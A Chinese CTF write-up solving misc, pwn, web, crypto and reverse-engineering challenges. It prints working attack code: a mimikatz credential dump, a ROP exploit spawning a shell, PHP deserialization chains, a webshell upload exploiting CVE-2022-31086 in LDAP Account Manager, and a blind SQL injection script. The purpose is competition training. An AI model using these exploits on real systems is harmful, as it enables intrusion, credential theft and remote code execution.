by ss0t-桂北
前言
在和队友九个小时的奋战后拿到了第五名。
MISC
Dev:我 ntlm 呢?
dmp 打开发现是 PK 开头,猜测有压缩包存在,使用 foremost 分离文件,在其中 zip 文件夹中存在一个压缩包,里面是 flag,但不知道密码
题目给出提示 ntlm,推测需要使用 mimikatz dump hash,在通过题目给出的 dev 用户推测解压密码为 dev 用户的 ntlm 凭证,成功获取 flag
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::minidump your.dmp
Switch to MINIDUMP : 'your.dmp'
mimikatz # sekurlsa::logonpasswords full
Opening : 'your.dmp' file for minidump...
其实很简单
打开表格发现全部的数字为 7000、8000、9000 构成,猜测其对应摩斯电码的 .-/
将其替换解码得到一串字符,暂时还不知道有什么用
题目给出的另外一个图片大小非常的大,猜测其为图片隐写,lsb 最低隐写,PK 开头分离出压缩包
再使用上面得到的密码解压得到 flag
我压缩包呢?
文件由 P 开头,推测为损坏文件头的压缩包,补齐 50 4B 03 04 成功打开压缩包,但文件内容被加密。
010Editor 打开 png 在其中发现 key 标识
使用 key 加压压缩包得到如下字符
根据提示推测是 base58 加密
在将 16 进制转 ascii 即可
PWN
一个有后门的程序
看着是一眼秒,实际上不是这么回事
main 方法中 buf 为 0x20,read 读入 0x64,一眼栈溢出
再加上这个后门方法,是不是觉得直接 ret2text 了,但在实际题目中 flag 并不在 tmp 下
仔细看在程序中还存在着 /bin/sh
字符串,我们只用从 plt 表中拿个 system 执行即可
from pwn import *
content = 1
context.log_level = 'debug'
pop_rdi = 0x000000000040123b
e = ELF("./say")
def main():
if content == 1:
p = process('./say')
else:
p = remote('node.nsctf.cn', 53435)
payload = b"a" * (0x20 + 0x8) + p64(pop_rdi) + p64(0x402008) + p64(e.plt['system'])
p.sendlineafter("Please say what you want to say: \n", payload)
p.interactive()
main()
WEB
bombombom
打开是一个小游戏,断定在胜利后会得到 flag,但肯定不可能真的去玩到通关,直接到 js 中寻找通关的地方
gameSuccess 方法就是通关输出 flag 的地方,char 转换一下即可
function gameSuccess(){
isOver=true;
J.showWait(String.fromCharCode(116,113,108,33,32,32,32,32,102,108,97,103,123,84,104,101,95,119,48,108,102,95,49,115,95,112,64,105,110,102,117,108,125),"success");
}
ezpop
<?php
class Happy{
public $str;
public function getString(){
return "maybe you can find something in somewhere";
}
public function __toString(){
$a = $this->str->des;
return "heihei";
}
function __destruct(){
$this->str = "123";
}
}
class Ctf{
public $file="";
public $temp;
public $rand;
public function getfile(){
return "nothing";
}
function __destruct(){
$this->rand = rand(1,1000000);
if($this->rand === $this->temp){
if (preg_match("/php|flag/i", $this->file)) {
die("hacker");
}
}
}
}
class Game{
public $name = "";
private $x="";
public function __call($name, $arguments) {
$this->getflag($this->x);
}
function getflag($x){
show_source($x);
}
public function des(){
return "a class";
}
public function __get($name){
return $this->name($name);
}
}
show_source(__FILE__);
function filter($str){
return str_replace("php", "", "$str");
}
if (substr(md5($_GET['try_some_num']),0,8) === '5531a583'){
echo "ok";
unserialize(filter($_GET['pop']));
}
一步步分析代码,最终的调用点很明显就能发现在 Game 类中的__call 方法,其中对 show_source($x);
public function __call($name, $arguments) {
$this->getflag($this->x);
}
function getflag($x){
show_source($x);
}
接下来要寻找的就是触发 __call
方法的地方,__call()
会在当调用的方法不存在时触发,而在 Happy 的 __tostring
方法中对 $str
调用了 des
方法,我们只需要将 $str
的内容设置为上面创建的 Game 类即可触发
public function __toString(){
$a = $this->str->des;
return "heihei";
}
__toString() 会在当一个对象被当作一个字符串使用时触发,Ctf 类的destruct()方法中在 preg_match("/php|flag/i", $this->file)
时会触发tostring,还需要指定一下 $ctf -> temp
等于引用的 $ctf->rand
即可,写出如下 payload 即可读取任意文件,flag 的位置在 robts.txt
$source = new Game();
$source -> x = "/etc/passwd";
$happy = new Happy();
$happy -> str = $source;
$ctf = new Ctf();
$ctf -> temp = &$ctf->rand;
$ctf -> file = $happy;
echo serialize($ctf);
ez_lam
公网搭建一个 ldap 服务器。然后弱口令进后台改服务器地址和 dn
然后用自己搭建的 ldap 用户名和密码登录,就可以拿到 session。然后根据 CVE-2022-31086 的描述,找到漏洞点:
商城文件时的正则匹配有问题,只需要.png.php 就能绕过,且存储的目录可以访问到。上传点在 templates\pdfedit\pdfmain.php,前面有 token 校验要过,需要满足 sec_token == session 里面的 sec_token 即可。这里可以通过 get 方式访问 templates/pdfedit/pdfmain.php
获取到
因此可以通过这里上传 php
import requests
url = "http://d7f35ee7f75fd536.node.nsctf.cn/templates/pdfedit/pdfmain.php"
s = requests.get(url,allow_redirects=False,cookies={"PHPSESSID":"8ftnrrfuu4d4ri7faacc2kqgg3"}).text.split('name="sec_token" value="')[1].split('"')[0]
requests.post(url,data={"uploadLogo":1,"sec_token":s},cookies={"PHPSESSID":"8ftnrrfuu4d4ri7faacc2kqgg3"},files={"logoUpload":("a.jpg.php","<?php system($_GET['a']); ?>")},allow_redirects=False)
ScoreQuery
测试 1'|if((1),sleep(5),11)|'
有延时,写脚本盲注即可
import time
import requests as requests
url = "http://2af244cd43da7618.node.nsctf.cn/"
def sqli(data):
data = {"id":f"1'|if(({data.replace(' ','/**/')}),sleep(0.5),11)|'"}
print(data['id'])
s = time.time()
requests.get(url, params=data)
e = time.time()
if e-s > 0.5:
return True
return False
# 注入点,返回条件是否成立
def sqli1(sql):
ans = ''
for i in range(len(ans) + 1, 1000):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
sqlitest = sqli("(ascii(substr((%s),%d,1))<%d)" % (sql,i, mid))
if sqlitest:
high = mid
else:
low = mid + 1
mid = (low + high) // 2
if mid <= 32 or mid >= 127:
break
ans += chr(mid - 1)
print(ans)
# 二分法注入
# sqli1('select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA')
# sqli1("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='ctf'")
# sqli1("select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='l0ngNameNeverGuess'")
# sqli1("select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='TheFl4g'")
sqli1("select F1ag from TheFl4g")
ezextension
执行命令 poc:
<?php
class MGkk8 {
public $a;
public $b;
public function rpl2() {
$b = $this->b;
} }
class KOkjs {
public $a;
public $b;
}
class u1Y7U {
public $a;
public $b;
}
class QMRb7 {
public $a;
public $b;
}
class y97pu {
public $a;
public $b;
public $c;
}
class m1_99 {
public $a;
public $b;
}
$eval = new MGkk8();
$b = new stdClass();
$b -> a = "system";
$b -> b = "cat flag.php|base64";
$eval -> a = "RPG";
$eval ->b = $b;
$tos = new KOkjs();
$tos -> a = $eval;
$des = new y97pu();
$des -> a = & $des->b;
$des -> c = $tos;
echo str_replace("R:2","R:02",serialize($des));
读取 flag.php,引导到 enc.so
import base64
import requests
url = "http://893242b023c96be2.node.nsctf.cn/"
data = {"a":'O:5:"y97pu":3:{s:1:"a";N;s:1:"b";R:02;s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:8:"stdClass":2:{s:1:"a";s:6:"system";s:1:"b";s:73:"cat /usr/local/lib/php/extensions/no-debug-non-zts-20151012/enc.so|base64";}}s:1:"b";N;}}'}
f = open("enc.so","wb")
f.write(base64.b64decode(requests.post(url,data).content))
f.close()
逆向
key = [0x0000009F, 0x00000050, 0x00000052, 0x00000000, 0x00000058, 0x0000009F, 0x000000FF, 0x00000024, 0x0000008E, 0x000000FE, 0x000000EA, 0x000000FA, 0x000000A6, 0x00000034, 0x000000F3, 0x000000C6]
answer = [0x5f,0xc3,0xc6,0x98,0x22,0x91,0x56,0x33,0x63,0xb9,0xc4,0x57,0x9c,0x82,0xcb,0x52,0x5a,0x9e,0x8a,0xce,0x68,0xc2,0x04,0x28,0x39,0xba,0x97,0x57,0x80 ,0x96 ,0xcc ,0x04,0x58 ,0x9c ,0xc2 ,0xc8 ,0x3a ,0x94 ,0x54 ,0x36 ,0x63 ,0xa6]
flag = ""
for i in range(42):
v5 = (key[i%16]+i)%16
flag += chr(0x100+~(key[v5] ^ answer[i]))
print(flag)
Crypto
T^Trsa
猜测 a1 和 a2 是 p、q,爆破 e 即可
c1=42194617438786751294720395217172444901958425374337113687330479793209697539921471319700111767581177549196258181420189538237672196586421679226902307742509971397184755293311339677939379892056897381590981297757379097462845061144267627438519686092212401281164295495830139699610638601839578427074761357280108765597567016091253177696411089674799334907442410714494540597101417037385281229478242603209787420378585208816638926699907416356705094724952466870314816459338175162001808889620212321772608148475921852421509285321415840282280517237630716
a1=9558471312490378827885180677012716863500771479450631424122804895807930152295702287958646966958907906192833261022347735243306242889505270395130393781798772798491820445444545673669872027856407533975299714742162919031964824853815926257051106104633873914136672906157593607
a2=4478471855352587505687248543424533195257760094258767086626096743738945407397374910609916529443843210369485210393290549210352395061205068946216229443196960437176765203181017801350178506368124210186042002105705782164611800383139961193086493909992913664024664731445237729
from Crypto.Util.number import *
from gmpy2 import *
n = a1 * a2
fi = (a1-1)*(a2-1)
for e in range(1,100000):
if not isPrime(e):
continue
if gcd(e,fi) > 1:
continue
else:
d = invert(e,fi)
m = pow(c1,d,n)
m = long_to_bytes(m)
if b'flag' in m:
print(m)
flag{6e79ab3_74d01e1_070be3c}
RE
竞赛开始的那一刻
是 upx 壳
这题没有改壳 通过upx -d 直接脱壳
拖入ida内 直接搜索main函数没有返回结果 通过start跳转寻找main函数
找到了main函数
发现最后是明文输入明文校验,可以直接动态调试
在strncmp处打断点,flag随便输一个
查看校验中的str2
得到flag